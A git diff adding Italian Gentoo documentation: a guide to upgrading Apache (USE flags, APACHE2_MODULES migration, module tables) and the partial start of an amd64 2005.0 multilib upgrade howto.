+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/apache/doc/upgrading.xml,v 1.1 2008/03/25 20:01:32 scen Exp $ -->
+
+<guide link="/proj/it/apache/doc/upgrading.xml" lang="it">
+<title>Aggiornamento di Apache</title>
+
+<author title="Autore">
+  <mail link="vericgar@gentoo.org">Michael Stewart</mail>
+</author>
+<author title="Redazione">
+  <mail link="hollow"/>
+</author>
+<author title="Redazione">
+  <mail link="nightmorph"/>
+</author>
+<author title="Traduzione">
+  <mail link="sergio.bevilacqua@yoda2000.net">Sergio Bevilacqua</mail>
+</author>
+<author title="Traduzione">
+  <mail link="scen"/>
+</author>
+
+<abstract>
+Questo documento descrive le procedure necessarie all'utente finale per
+aggiornare la propria installazione di Apache.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>2.8</version>
+<date>2007-12-11</date>
+
+<chapter id="upgrade-2.2.6-r4">
+<title>Aggiornare dalle versioni &lt;2.2.6-r4</title>
+<section>
+<body>
+
+<p>
+Gli ebuild di Apache hanno utilizzato
+<path>/etc/apache2/apache2-builtin-mods</path> per moltissimo tempo per
+selezionare i moduli integrati durante la fase di compilazione. Tuttavia questa
+modalità ha diversi svantaggi:
+</p>
+
+<ul>
+  <li>
+    Non è possibile selezionare moduli integrati durante la fase iniziale di
+    merge
+  </li>
+  <li>
+    Portage non sa quali moduli sono stati installati. Ciò è fastidioso
+    specialmente per i pacchetti binari.
+  </li>
+  <li>
+    Portage tenterà di sovrascrivere <path>apache2-builtin-mods</path> ad ogni
+    aggiornamento
+  </li>
+</ul>
+
+<p>
+Per rimediare a questa situazione
+<path>/etc/apache2/apache2-builtin-mods</path> è stato reso deprecato e migrato
+alla nuova variabile di tipo <c>USE_EXPAND</c> denominata
+<c>APACHE2_MODULES</c>. Per convertire la propria selezione personalizzata di
+moduli al nuovo formato usare il seguente comando:
+</p>
+
+<pre caption="Convertire apache2-builtin-mods ad APACHE2_MODULES">
+$ <i>echo APACHE2_MODULES=\"$(sed '/^mod_/s/mod_\(.*\)\s\+\(shared\|static\)/\1/;t n;d;:n' /etc/apache2/apache2-builtin-mods)\" >> /etc/make.conf</i>
+# <i>rm /etc/apache2/apache2-builtin-mods</i>
+
+<comment>(Ora è possibile aggiornare apache in sicurezza:)</comment>
+# <i>emerge -uva '>=www-servers/apache-2.2.6-r4'</i>
+</pre>
+
+<p>
+In aggiunta alla nuova variabile <c>APACHE2_MODULES</c> le flag USE locali sono
+state rimosse:
+</p>
+
+<ul>
+  <li>
+    Tutte le flag USE MPM sono state spostate nella variabile di tipo
+    <c>USE_EXPAND</c> denominata <c>APACHE2_MPMS</c>
+  </li>
+  <li><c>no-suexec</c> ora è diventata <c>suexec</c></li>
+  <li><c>static-modules</c> ora è diventata <c>static</c></li>
+</ul>
+
+<p>
+Per una descrizione dettagliata delle vecchie e delle corrispondenti nuove flag
+USE vedere il capitolo <uri link="#use-2.2.6-r4">seguente</uri>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter id="upgrade-2.0.52-r3">
+<title>Aggiornare dalle versioni &lt;2.0.52-r3</title>
+<section>
+<title>Introduzione</title>
+
+<body>
+
+<p>
+Lo stato di Apache e dei suoi moduli in Gentoo stava peggiorando, in quanto
+c'era un certo numero di problemi che causavano problemi nel supporto e
+rendevano difficoltoso il mantenimento del pacchetto:
+</p>
+
+<ul>
+  <li>
+    La configurazione fornita con Gentoo era drasticamente diversa da quella
+    distribuita da apache.org usata da molti utenti e distribuzioni.
+  </li>
+  <li>
+    Molti moduli usavano porzioni di codice simili, ma ognuno di essi
+    implementava funzioni in modo personale.
+  </li>
+  <li>
+    Alcuni moduli non erano mantenuti con cura, a causa anche del grande numero
+    di moduli disponibile
+  </li>
+  <li>I moduli non avevano una configurazione standard</li>
+  <li>
+    Alcuni moduli supportavano entrambe le versioni di Apache, ma gli ebuild
+    non erano in grado di gestirlo
+  </li>
+  <li>
+    Scelte disponibili normalmente in Apache non lo erano per gli utenti Gentoo
+    (per esempio gli MPMs)
+  </li>
+  <li>I bug di Apache si stavano accumulando</li>
+</ul>
+
+<p>
+Questo documento spiega come aggiornare senza danneggiare il proprio sistema. Se
+si è sviluppatori o si vuole sapere cosa è stato cambiato, o come gli ebuild
+devono essere modificati per utilizzare le eclass, visitare <uri
+link="/proj/it/apache/apache-developer.xml">la guida di riferimento di Apache
+per gli Sviluppatori</uri>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Aggiornare</title>
+<body>
+
+<p>
+Sono stati fatti molti cambiamenti riguardo il modo in cui Apache lavora
+all'interno di Gentoo. Ogni pacchetto direttamente collegato con Apache deve
+essere aggiornato, ed alcune cose che prima funzionavano, ora non funzioneranno
+più.
+</p>
+
+<p>
+Prima di tutto bisogna capire cosa necessita di aggiornamento. Questo è
+possibile usando lo strumento <c>equery</c>, del pacchetto
+<c>app-portage/gentoolkit</c>.
+</p>
+
+<pre caption="Individuazione dei pacchetti obsoleti">
+$ <i>equery depends www-servers/apache</i>
+[ Searching for packages depending on www-servers/apache... ]
+dev-db/phpmyadmin-2.5.6
+dev-php/mod_php-4.3.10
+dev-php/phpsysinfo-2.1-r2
+net-www/mod_bandwidth-2.0.5
+net-www/mod_layout-4.0.1a
+net-www/mod_mp3-0.40
+net-www/mod_random-2.0
+net-www/mod_throttle-3.1.2-r1
+net-www/mod_ldap_userdir-1.1.4
+net-www/mod_loopback-1.04
+net-www/mod_watch-3.18
+www-apps/viewcvs-0.9.2_p20030430
+</pre>
+
+<impo>
+I pacchetti installati possono variare molto da un sistema all'altro,
+assicurarsi di eseguire questo comando.
+</impo>
+
+<warn>
+Esistono alcuni moduli e pacchetti dipendenti da Apache che non sono stati
+aggiornati. <uri link="http://bugs.gentoo.org">Effettuare una ricerca su
+bugzilla</uri> per ogni pacchetto di importanza critica usato insieme ad Apache.
+</warn>
+
+<p>
+Molte applicazioni web non sono influenzate da questo aggiornamento perché si
+appoggiano alla eclass <c>webapp</c> che si occupa di garantirne la corretta
+installazione e funzionamento. È comunque consigliabile controllare la
+disponibilità di nuove revisioni.
+</p>
+
+<p>
+Sono state aggiunte alcune nuove flag USE, è consigliabile rivedere il contenuto
+di <path>/etc/portage/package.use</path>. Consultare la <uri
+link="#use-2.2.6-r4">lista delle flag USE di Apache</uri> per ulteriori
+dettagli.
+</p>
+
+<pre caption="Verifica delle flag USE e ricompilazione">
+<comment>(Verifica delle flag USE e degli aggiornamenti richiesti)</comment>
+# <i>emerge --pretend --verbose --update --newuse --deep apache subversion \
+mod_php mod_bandwidth mod_layout mod_ldap_userdir mod_loopback mod_mp3 \
+mod_random mod_throttle mod_watch</i>
+
+<comment>(Aggiornamento)</comment>
+# <i>emerge --verbose --update --newuse --deep apache subversion mod_php \
+mod_bandwidth mod_layout mod_ldap_userdir mod_loopback mod_mp3 mod_random \
+mod_throttle mod_watch</i>
+
+<comment>(È più semplice effettuare l'aggiornamento di world)</comment>
+# <i>emerge --ask --verbose --update --newuse --deep world</i>
+</pre>
+
+<p>
+Ora bisogna riconfigurare Apache ed i suoi moduli. Si inizia con un
+<c>etc-update</c> o <c>dispatch-conf</c> per aggiornare i file in
+<path>/etc/init.d</path> e <path>/etc/conf.d</path>. Si riceverà la segnalazione
+che i file di configurazione di Apache sono stati aggiornati (questo perché
+tutti i file di configurazione sono stati spostati)
+</p>
+
+<p>
+Se sono stati fatti dei cambiamenti al precedente <path>apache.conf</path> e
+<path>commonapache.conf</path> è necessario fare la migrazione di tali
+cambiamenti a <path>/etc/apache{|2}/httpd.conf</path>. Anche la locazione
+per moduli e virtual-host è stata cambiata: adesso si trovano rispettivamente in
+<path>/etc/apache2/modules.d</path> e <path>/etc/apache2/vhosts.d</path>.
+</p>
+
+<p>
+Una volta completata la migrazione dei cambiamenti al nuovo file di
+configurazione, è necessario cancellare il vecchio file di configurazione (o
+spostarlo in una diversa posizione). Il nuovo script
+<path>/etc/init.d/apache{|2}</path> verifica che non esistano copie dei vecchi
+file, e non permette l'avvio di Apache fino a che questi file non sono stati
+rimossi, indicando l'avvenuta riconfigurazione di Apache usando i nuovi
+percorsi.
+</p>
+
+<note>
+Molti moduli in precedenza abilitati in modo predefinito sono ora disabilitati.
+Se si tratta di moduli compilati internamente, rimuovere il commento dalla riga
+corrispondente in httpd.conf. Se si tratta di moduli esterni si deve ricercare
+nel file .conf del modulo, un <c>IfDefine</c> e aggiungere la stringa
+corrispondente in <path>/etc/conf.d/apache{|2}</path> per abilitarlo.
+</note>
+
+<p>
+Ora è possibile riavviare apache.
+</p>
+
+<pre caption="Riavvio di apache">
+# <i>/etc/init.d/apache stop</i>
+# <i>/etc/init.d/apache start</i>
+</pre>
+
+<p>
+Se si presentano dei problemi, consultare la guida per la <uri
+link="/doc/it/apache-troubleshooting.xml">Risoluzione dei problemi in
+Apache</uri> e se questa non risolve la questione, segnalare il problema su
+<uri link="http://bugs.gentoo.org">Gentoo Bugzilla</uri>. Assicurarsi di
+includere l'elenco dei moduli che sono stati abilitati e (se si usa Apache 2)
+quale MPM USE-flag è stata usata per la compilazione. È possibile trovare
+supporto anche nel canale IRC <path>#gentoo-apache</path> su
+<path>irc.freenode.net</path>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter id="use-pre-2.2.6-r4">
+<title>Flag USE supportate nelle versioni &lt;2.2.6-r4</title>
+<section>
+<body>
+
+<p>
+Ci sono alcuni flag USE locali per Apache ed i suoi moduli. Apache supporta
+molte altre flag USE generiche come <c>ssl</c>, ma l'effetto che hanno non è
+molto diverso da quello che manifestano in altri contesti, quindi non vengono
+incluse in questa lista. <c>emerge --verbose --pretend apache</c> mostra tutte
+le flag USE supportate.
+</p>
+
+<table>
+<tr>
+  <th>Flag USE</th>
+  <th>Descrizione</th>
+</tr>
+<tr>
+  <ti>apache2</ti>
+  <ti>
+    Deve sempre essere impostata se si desidera utilizzare Apache 2.0,
+    diversamente verrà usato Apache 1.3. L'eclass utilizza questa USE per
+    determinare da quale versione di Apache dipende.
+  </ti>
+</tr>
+<tr>
+  <ti>debug</ti>
+  <ti>
+    Abilita un aggancio (hook) che permette ai moduli esterni di inserirsi e
+    fare qualcosa dopo che un processo figlio è andato in crash. Ci sono già due
+    moduli, <c>mod_whatkilledus</c> and <c>mod_backtrace</c> che fanno uso di
+    questo aggancio.
+  </ti>
+</tr>
+<tr>
+  <ti>doc</ti>
+  <ti>Installa il manuale di Apache e della configurazione</ti>
+</tr>
+<tr>
+  <ti>ldap</ti>
+  <ti>
+    Installa <c>mod_ldap</c> e <c>mod_auth_ldap</c>/<c>mod_authnz_ldap</c>.
+  </ti>
+</tr>
+<tr>
+  <ti>ssl</ti>
+  <ti>Installa <c>mod_ssl</c>.</ti>
+</tr>
+<tr>
+  <ti>mpm-itk</ti>
+  <ti>Compila il MPM <uri link="http://mpm-itk.sesse.net/">itk</uri></ti>
+</tr>
+<tr>
+  <ti>mpm-leader</ti>
+  <ti>
+    Compila il MPM <uri
+    link="http://httpd.apache.org/docs/2.0/mod/leader.html">leader</uri>
+  </ti>
+</tr>
+<tr>
+  <ti>mpm-peruser</ti>
+  <ti>
+    Compila il MPM <uri link="http://www.telana.com/peruser.php">peruser</uri>
+  </ti>
+</tr>
+<tr>
+  <ti>mpm-prefork</ti>
+  <ti>
+    Compila il MPM <uri
+    link="http://httpd.apache.org/docs/2.0/mod/prefork.html">prefork</uri>
+  </ti>
+</tr>
+<tr>
+  <ti>mpm-threadpool</ti>
+  <ti>
+    Compila il MPM <uri
+    link="http://httpd.apache.org/docs/2.0/mod/threadpool.html">
+    threadpool</uri>
+  </ti>
+</tr>
+<tr>
+  <ti>mpm-worker</ti>
+  <ti>
+    Compila il MPM <uri
+    link="http://httpd.apache.org/docs/2.0/mod/worker.html">worker</uri>
+    </ti>
+</tr>
+<tr>
+  <ti>static-modules</ti>
+  <ti>
+    Effettua il linking statico dei moduli all'interno del binario di Apache,
+    in modo che non sia richiesto LoadModule per il caricamento degli stessi.
+  </ti>
+</tr>
+</table>
+
+<note>
+Sebbene ci siano molte flag USE <c>mpm-*</c>, esse sono mutualmente esclusive.
+È possibile abilitare una ed una soltanto delle flag USE <c>mpm-*</c>. (Se non
+se ne abilita nessuna, verranno usate <c>mpm-prefork</c> o <c>mpm-worker</c>,
+a seconda che la flag USE threads sia abilitata o no.)
+</note>
+
+</body>
+</section>
+</chapter>
+
+<chapter id="use-2.2.6-r4">
+<title>USE flag supportate nella versione 2.2.6-r4 e successive</title>
+<section>
+<body>
+
+<p>
+Con l'avvento della variabile <c>APACHE2_MODULES</c> era necessaria una pulizia
+generale delle flag USE. La seguente tabella elenca le USE flag supportate da
+<c>apache-2.2.6-r4</c> e versioni successive nonché le loro equivalenti per le
+versioni precedenti.
+</p>
+
+<table>
+<tr>
+  <th>Flag USE</th>
+  <th>Vecchia flag USE</th>
+  <th>Descrizione</th>
+</tr>
+<tr>
+  <ti>debug</ti>
+  <ti>debug</ti>
+  <ti>
+    Abilita un aggancio (hook) che permette ai moduli esterni di inserirsi e
+    fare qualcosa dopo che un processo figlio è andato in crash. Ci sono già due
+    moduli, <c>mod_whatkilledus</c> e <c>mod_backtrace</c> che fanno uso di
+    questo aggancio.
+  </ti>
+</tr>
+<tr>
+  <ti>doc</ti>
+  <ti>doc</ti>
+  <ti>Installa il manuale di Apache e della configurazione</ti>
+</tr>
+<tr>
+  <ti>ldap</ti>
+  <ti>ldap</ti>
+  <ti>Installa <c>mod_ldap</c> e <c>mod_authnz_ldap</c></ti>
+</tr>
+<tr>
+  <ti>ssl</ti>
+  <ti>ssl</ti>
+  <ti>Installa <c>mod_ssl</c></ti>
+</tr>
+<tr>
+  <ti>static</ti>
+  <ti>static-modules</ti>
+  <ti>
+    Collega staticamente i moduli nel binario di apache, in modo che non sia più
+    necessaria la direttiva LoadModule per caricare i moduli di base in Apache
+  </ti>
+</tr>
+<tr>
+  <ti>suexec</ti>
+  <ti>no-suexec</ti>
+  <ti>Installa <c>mod_suexec</c> ed il binario di supporto <c>suexec</c></ti>
+</tr>
+<tr>
+  <ti>threads</ti>
+  <ti>threads</ti>
+  <ti>
+    Seleziona il MPM predefinito se nessuno di essi è specificato in
+    APACHE2_MPMS
+  </ti>
+</tr>
+</table>
+
+<p>
+La tabella seguente elenca i valori supportati per la variabile
+<c>APACHE2_MPMS</c> in <c>apache-2.2.6-r4</c> e la loro corrispondente USE flag
+locale precedente.
+</p>
+
+<table>
+<tr>
+  <th>Flag</th>
+  <th>Vecchia flag USE</th>
+  <th>Descrizione</th>
+</tr>
+<tr>
+  <ti>event</ti>
+  <ti>mpm-event</ti>
+  <ti>Una variante sperimentale del MPM worker standard</ti>
+</tr>
+<tr>
+  <ti>itk</ti>
+  <ti>mpm-itk</ti>
+  <ti>Permette di eseguire ciascun host virtuale  con un uid e gid separato</ti>
+</tr>
+<tr>
+  <ti>peruser</ti>
+  <ti>mpm-peruser</ti>
+  <ti>
+    Peruser è una implementazione funzionante del MPM perchild che permette
+    l'esecuzione dei processi figli di apache ciascuno con il proprio utente e
+    gruppo, facendo gestire a ciascuno il proprio insieme di host virtuali
+  </ti>
+</tr>
+<tr>
+  <ti>prefork</ti>
+  <ti>mpm-prefork</ti>
+  <ti>Implementa un server web non-threaded e pre-forking</ti>
+</tr>
+<tr>
+  <ti>worker</ti>
+  <ti>mpm-worker</ti>
+  <ti>
+    Multi-Processing Module implementa un server web multi-processo
+    multi-thread ibrido
+  </ti>
+</tr>
+</table>
+
+<p>
+La tabella seguente elenca le variabili <c>APACHE2_MODULES</c> supportate a
+partire da <c>apache-2.2.6-r4</c>.
+</p>
+
+<table>
+<tr>
+  <th>Flag</th>
+  <th>Descrizione</th>
+</tr>
+<tr>
+  <ti>actions</ti>
+  <ti>
+    Provvede ad eseguire script CGI basati sul tipo di media o metodo richiesto
+  </ti>
+</tr>
+<tr>
+  <ti>alias</ti>
+  <ti>
+    Provvede a mappare varie parti filesystem dell'host nell'albero del
+    documento e ad effettuare il reindirizzamento degli URL.
+  </ti>
+</tr>
+<tr>
+  <ti>asis</ti>
+  <ti>Invia file che contengono le proprie intestazioni HTTP</ti>
+</tr>
+<tr>
+  <ti>auth_basic</ti>
+  <ti>Autenticazione di base</ti>
+</tr>
+<tr>
+  <ti>auth_digest</ti>
+  <ti>Autenticazione utente tramite l'Autenticazione MD5 Digest</ti>
+</tr>
+<tr>
+  <ti>authn_alias</ti>
+  <ti>
+    Dà la possibilità di creare fornitori di autenticazioni estese basati sugli
+    attuali fornitori
+  </ti>
+</tr>
+<tr>
+  <ti>authn_anon</ti>
+  <ti>
+    Permette l'accesso anonimo (tramite l'utente "anonymous") in aree sottoposte
+    ad autenticazione
+  </ti>
+</tr>
+<tr>
+  <ti>authn_dbd</ti>
+  <ti>Autenticazione utente tramite un database SQL</ti>
+</tr>
+<tr>
+  <ti>authn_dbm</ti>
+  <ti>Autenticazione utente tramite file DBM</ti>
+</tr>
+<tr>
+  <ti>authn_default</ti>
+  <ti>Modulo di riserva per l'autenticazione</ti>
+</tr>
+<tr>
+  <ti>authn_file</ti>
+  <ti>Autenticazione utente tramite file di testo</ti>
+</tr>
+<tr>
+  <ti>authz_dbm</ti>
+  <ti>Autorizzazione di gruppo tramite file DBM</ti>
+</tr>
+<tr>
+  <ti>authz_default</ti>
+  <ti>Modulo di riserva per l'autorizzazione</ti>
+</tr>
+<tr>
+  <ti>authz_groupfile</ti>
+  <ti>Autorizzazione di gruppo tramite file di testo in chiaro</ti>
+</tr>
+<tr>
+  <ti>authz_host</ti>
+  <ti>Autorizzazione di gruppo basata su host (nome o indirizzo IP)</ti>
+</tr>
+<tr>
+  <ti>authz_owner</ti>
+  <ti>Autorizzazione basata sulla proprietà del file</ti>
+</tr>
+<tr>
+  <ti>authz_user</ti>
+  <ti>Autorizzazione utente</ti>
+</tr>
+<tr>
+  <ti>autoindex</ti>
+  <ti>
+    Genera automaticamente gli indici delle directory, in modo simile al comando
+    Unix <c>ls</c>
+  </ti>
+</tr>
+<tr>
+  <ti>cache</ti>
+  <ti>Cache dei contenuti legati agli URI</ti>
+</tr>
+<tr>
+  <ti>cern_meta</ti>
+  <ti>Semantiche metafile httpd del CERN</ti>
+</tr>
+<tr>
+  <ti>charset_lite</ti>
+  <ti>Specifica la traduzione o la ricodifica del set di caratteri</ti>
+</tr>
+<tr>
+  <ti>dav</ti>
+  <ti>Funzionalità "Distributed Authoring and Versioning" (WebDAV)</ti>
+</tr>
+<tr>
+  <ti>dav_fs</ti>
+  <ti>fornitore filesystem per mod_dav</ti>
+</tr>
+<tr>
+  <ti>dav_lock</ti>
+  <ti>modulo generico di bloccaggio per mod_dav</ti>
+</tr>
+<tr>
+  <ti>dbd</ti>
+  <ti>Gestisce le connessioni al database SQL</ti>
+</tr>
+<tr>
+  <ti>deflate</ti>
+  <ti>Comprime i contenuti prima di inviarli al client</ti>
+</tr>
+<tr>
+  <ti>dir</ti>
+  <ti>
+    Fornisce i reindirizzamenti di tipo "trailing slash" e offre i file degli
+    indici delle directory
+  </ti>
+</tr>
+<tr>
+  <ti>disk_cache</ti>
+  <ti>Gestore archiviazione cache dei contenuti legati agli URI</ti>
+</tr>
+<tr>
+  <ti>dumpio</ti>
+  <ti>Se lo si desidera scarica tutto l'I/O su un log di errore</ti>
+</tr>
+<tr>
+  <ti>env</ti>
+  <ti>
+    Modifica l'ambiente che viene passato agli script CGI e alle pagine SSI
+  </ti>
+</tr>
+<tr>
+  <ti>expires</ti>
+  <ti>
+    Generazione delle intestazioni HTTP di Scadenza e Controllo Cache in accordo
+    con i criteri specificati dall'utente
+  </ti>
+</tr>
+<tr>
+  <ti>ext_filter</ti>
+  <ti>
+    Passa il corpo della risposta attraverso un programma esterno prima di
+    spedirlo al client
+  </ti>
+</tr>
+<tr>
+  <ti>file_cache</ti>
+  <ti>Memorizza in cache una lista statica di file in memoria</ti>
+</tr>
+<tr>
+  <ti>filter</ti>
+  <ti>
+    Modulo di configurazione filtro intelligente sensibile al contesto
+  </ti>
+</tr>
+<tr>
+  <ti>headers</ti>
+  <ti>
+    Personalizzazione delle richieste HTTP e delle intestazioni delle risposte
+  </ti>
+</tr>
+<tr>
+  <ti>ident</ti>
+  <ti>Controlli ident RFC 1413</ti>
+</tr>
+<tr>
+  <ti>imagemap</ti>
+  <ti>Elaborazione mappe immagini lato server</ti>
+</tr>
+<tr>
+  <ti>include</ti>
+  <ti>Analisi lato server dei documenti html (Server Side Includes)</ti>
+</tr>
+<tr>
+  <ti>info</ti>
+  <ti>Fornisce una panoramica esaustiva della configurazione del server</ti>
+</tr>
+<tr>
+  <ti>log_config</ti>
+  <ti>Registrazione delle richieste fatte dal server</ti>
+</tr>
+<tr>
+  <ti>log_forensic</ti>
+  <ti>Registrazione Forense delle richieste fatte dal server</ti>
+</tr>
+<tr>
+  <ti>logio</ti>
+  <ti>Registrazione dei byte in entrate e uscita per ogni richiesta</ti>
+</tr>
+<tr>
+  <ti>mem_cache</ti>
+  <ti>Cache dei contenuti legata agli URIs</ti>
+</tr>
+<tr>
+  <ti>mime</ti>
+  <ti>
+    Associa l'estensione richiesta del file alla modalità di funzionamento dello
+    stesso (gestori e filtri) e al contenuto (mime-type, linguaggio, set di
+    caratteri e codifica)
+  </ti>
+</tr>
+<tr>
+  <ti>mime_magic</ti>
+  <ti>
+    Determina il tipo MIME di un file analizzando alcuni byte del suo contenuto
+  </ti>
+</tr>
+<tr>
+  <ti>negotiation</ti>
+  <ti>Fornisce la negoziazione dei contenuti</ti>
+</tr>
+<tr>
+  <ti>proxy</ti>
+  <ti>Server proxy/gateway HTTP/1.1</ti>
+</tr>
+<tr>
+  <ti>proxy_ajp</ti>
+  <ti>Modulo di supporto AJP per mod_proxy</ti>
+</tr>
+<tr>
+  <ti>proxy_balancer</ti>
+  <ti>estensione di mod_proxy per il bilanciamento di carico</ti>
+</tr>
+<tr>
+  <ti>proxy_connect</ti>
+  <ti>
+    estensione di mod_proxy per la gestione delle richieste di tipo CONNECT
+  </ti>
+</tr>
+<tr>
+  <ti>proxy_ftp</ti>
+  <ti>Modulo di supporto FTP per mod_proxy</ti>
+</tr>
+<tr>
+  <ti>proxy_http</ti>
+  <ti>Modulo di supporto HTTP per mod_proxy</ti>
+</tr>
+<tr>
+  <ti>rewrite</ti>
+  <ti>
+    Fornisce un motore di riscrittura basato su regole per riscrivere al volo
+    gli URL richiesti
+  </ti>
+</tr>
+<tr>
+  <ti>setenvif</ti>
+  <ti>
+    Permette l'impostazione di variabili d'ambiente basate sulle caratteristiche
+    della richiesta
+  </ti>
+</tr>
+<tr>
+  <ti>speling</ti>
+  <ti>
+    Cerca di correggere gli URL errati che gli utenti potrebbero aver imputato
+    ignorando la scrittura in maiuscolo e permettendo fino ad un errore di
+    scrittura
+  </ti>
+</tr>
+<tr>
+  <ti>status</ti>
+  <ti>
+    Fornisce informazioni riguardo all'attività e alle prestazioni del server
+  </ti>
+</tr>
+<tr>
+  <ti>unique_id</ti>
+  <ti>
+    Fornisce una variabile d'ambiente con un identificatore univoco per ciascuna
+    richiesta
+  </ti>
+</tr>
+<tr>
+  <ti>userdir</ti>
+  <ti>Directory specifiche per utente</ti>
+</tr>
+<tr>
+  <ti>usertrack</ti>
+  <ti>
+    Registrazione della sequenza di click sui collegamenti durante l'attività di
+    un utente in un sito
+  </ti>
+</tr>
+<tr>
+  <ti>version</ti>
+  <ti>Configurazione dipendente dalla versione</ti>
+</tr>
+<tr>
+  <ti>vhost_alias</ti>
+  <ti>Fornisce hosting virtuale massiccio configurato dinamicamente</ti>
+</tr>
+</table>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/it/base/amd64/howtos/2005.0-upgrade-amd64.xml b/xml/htdocs/proj/it/base/amd64/howtos/2005.0-upgrade-amd64.xml
new file mode 100644
index 00000000..ec276734
--- /dev/null
+++ b/xml/htdocs/proj/it/base/amd64/howtos/2005.0-upgrade-amd64.xml
@@ -0,0 +1,236 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/base/amd64/howtos/2005.0-upgrade-amd64.xml,v 1.1 2005/10/21 12:41:50 so Exp $ -->
+
+<!-- The context of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommonds.org/licenses/by-sa/2.5 -->
+
+<sections>
+
+<version>1.3.4</version>
+<date>2005-09-10</date>
+
+<section>
+<title>Aggiornare alla versione 2005.0 multilib</title>
+<body>
+
+<p>
+Multilib è il profilo base della versione 2005.0.  Se si desidera avere un
+sistema solo a 64bit, si deve usare il profilo 2005.0/no-multilib.  Questa
+guida mostra come aggiornare una precedente installazione ad un sistema che
+utilizza il nuovo profilo. Ci sono due strade per aggiornare: la facile, per
+mezzo di uno script, o la più lunga, manualmente.
+</p>
+
+</body>
+
+<subsection>
+<title>Aggiornare con lo script</title>
+<body>
+
+<p>
+Si raccomanda di utilizzare lo script di aggiornamento che agevola il processo.
+</p>
+
+<pre caption="Script di Aggiornamento">
+# <i>cd /usr/portage/profiles/default-linux/amd64/2005.0/scripts</i>
+# <i>sh ./2004.3-2005.0upgrade.sh</i>
+# <i>emerge -upv system</i>
+# <i>emerge -uv system</i>
+</pre>
+
+</body>
+</subsection>
+
+<subsection>
+<title>Aggiornamento manuale</title>
+<body>
+
+<p>
+Se in questo momento avete USE=-multilib, è necessario impostare multilib in
+USE e riemergere gcc.
+</p>
+
+<pre caption="Emergere un compilatore multilib">
+# <i>USE=multilib emerge gcc</i>
+<comment>Se ottenete un errore che indica che non avete un sandbox multilib,
+è necessario impostare FEATURES=-sandbox</comment>
+# <i>FEATURES=-sandbox USE=multilib emerge gcc</i>
+</pre>
+
+<p>
+Inoltre, è necessario essere certi di avere la versione corretta dei
+pacchetti toolchain/portage
+</p>
+
+<pre caption="Assicurarsi di avere una toolchain multilib">
+# <i>emerge -v --oneshot '>=sys-apps/portage-2.0.51-r9'</i>
+# <i>emerge -v --oneshot 'sys-apps/sandbox'</i> <comment>Solo se siete in ~amd64</comment>
+# <i>emerge -v --oneshot '>=sys-devel/gcc-config-1.3.9'</i>
+# <i>emerge -v --oneshot '>=sys-devel/distcc-2.18.3-r1'</i>
+# <i>emerge -v --oneshot '>=linux-headers-2.6.8.1-r4'</i>
+</pre>
+
+<p>
+Dopo assicurarsi di avere la versione 32bit di glibc aggiornata. Questa
+versione è necessaria per effettuare il bootstrap della versione 32bit delle
+glibc compilata dopo l'attivazione del profilo.
+</p>
+
+<pre caption="Prendere l'ultima versione 32bit di glibc">
+# <i>emerge -v --oneshot '>=emul-linux-x86-glibc-2.3.4.20041102'</i>
+</pre>
+
+<p>
+2005.0 non usa link simbolici per /lib32 e /usr/lib32 per emulare le
+directory, cosi è necessario sostituire ai link simbolici delle directory e
+copiare alcuni importanti file.
+</p>
+
+<pre caption="Preparazione manuale di /lib32 e /usr/lib32">
+# <i>rm /lib32 /usr/lib32</i>
+# <i>mkdir /lib32 /usr/lib32</i>
+# <i>cp /emul/linux/x86/lib32/libsandbox.so /usr/lib32</i> <comment>Se state usando la branca stabile</comment>
+# <i>cp /emul/linux/x86/usr/lib32/libsandbox.so /usr/lib32</i> <comment>Se siete in ~amd64</comment>
+# <i>cp /emul/linux/x86/usr/lib32/libc.so /usr/lib32</i>
+# <i>cp /emul/linux/x86/usr/lib32/libpthread.so /usr/lib32</i>
+# <i>cp /emul/linux/x86/usr/lib32/*crt*.o /usr/lib32</i>
+# <i>env-update</i>
+</pre>
+
+<p>
+Ora è necessario essere sicuro che la vostra baselayout sia aggiornata, cosi
+da garantire che /etc/env.d/04multilib esista.
+</p>
+
+<pre caption="Aggiornare baselayout">
+# <i>emerge -v --oneshot baselayout</i>
+</pre>
+
+<p>
+Ora si è pronti per attivare il profilo 2005.0
+</p>
+
+<pre caption="Cambiare il profilo">
+# <i>rm /etc/make.profile</i>
+# <i>ln -s /usr/portage/profiles/default-linux/amd64/2005.0 /etc/make.profile</i>
+</pre>
+
+<p>
+Ora è possibile compilare glibc, disinstallare (l'obsoleta)
+emul-linux-x86-glibc e aggiornare il sistema base. Dovreste emergere la
+stessa versione di glibc che avete correntemente nel sistema per evitare
+possibili problemi di compatibilità (che apparirebbero con un messaggio di
+errore purante l'emerge).
+</p>
+
+<pre caption="Concludere l'aggiornamento">
+# <i>emerge -v --oneshot emerge -v --oneshot sys-libs/glibc</i>
+# <i>emerge unmerge emul-linux-x86-glibc</i>
+# <i>rm /emul/linux/x86/usr/lib/libsandbox.*</i>
+# <i>emerge -upv system</i>
+# <i>emerge -uv system</i>
+</pre>
+
+</body>
+</subsection>
+
+<subsection>
+<title>Problemi comuni</title>
+<body>
+
+<p>
+<b>Inizialmente USE=multilib emerge gcc (or sandbox) potrebbe dare 'skipping
+incompatible /usr/lib/libc.so when searching for -lc'</b>
+</p>
+
+<p>
+Questo problema è solitamente corretto facendo 'emerge -v --oneshot
+emul-linux-x86-glibc'
+</p>
+
+<p>
+<b>Impossibile calcolare la dimensione (long double)</b>
+</p>
+
+<p>
+Se ci sono problemi quando ./configure sta eseguendo glibc, e indica
+'checking size of long double... configure: error: cannot compute sizeof
+(long double), 77', controllare il file config.log, e cercare l'errore.
+Questa è la prima volta che la vostra toolchain è utilizzata per creare ed
+eseguire una applicazione a 32bit. I problemi e le cause che potete
+riscontrare sono:
+</p>
+
+<pre caption="Impossibile calcolare la dimensione (long double)">
+<comment>libc.so non si trova</comment>
+	Qualcosa è inconflitto con la vostra emul-linux-x86-glibc installata.
+	Seguono questi passi:
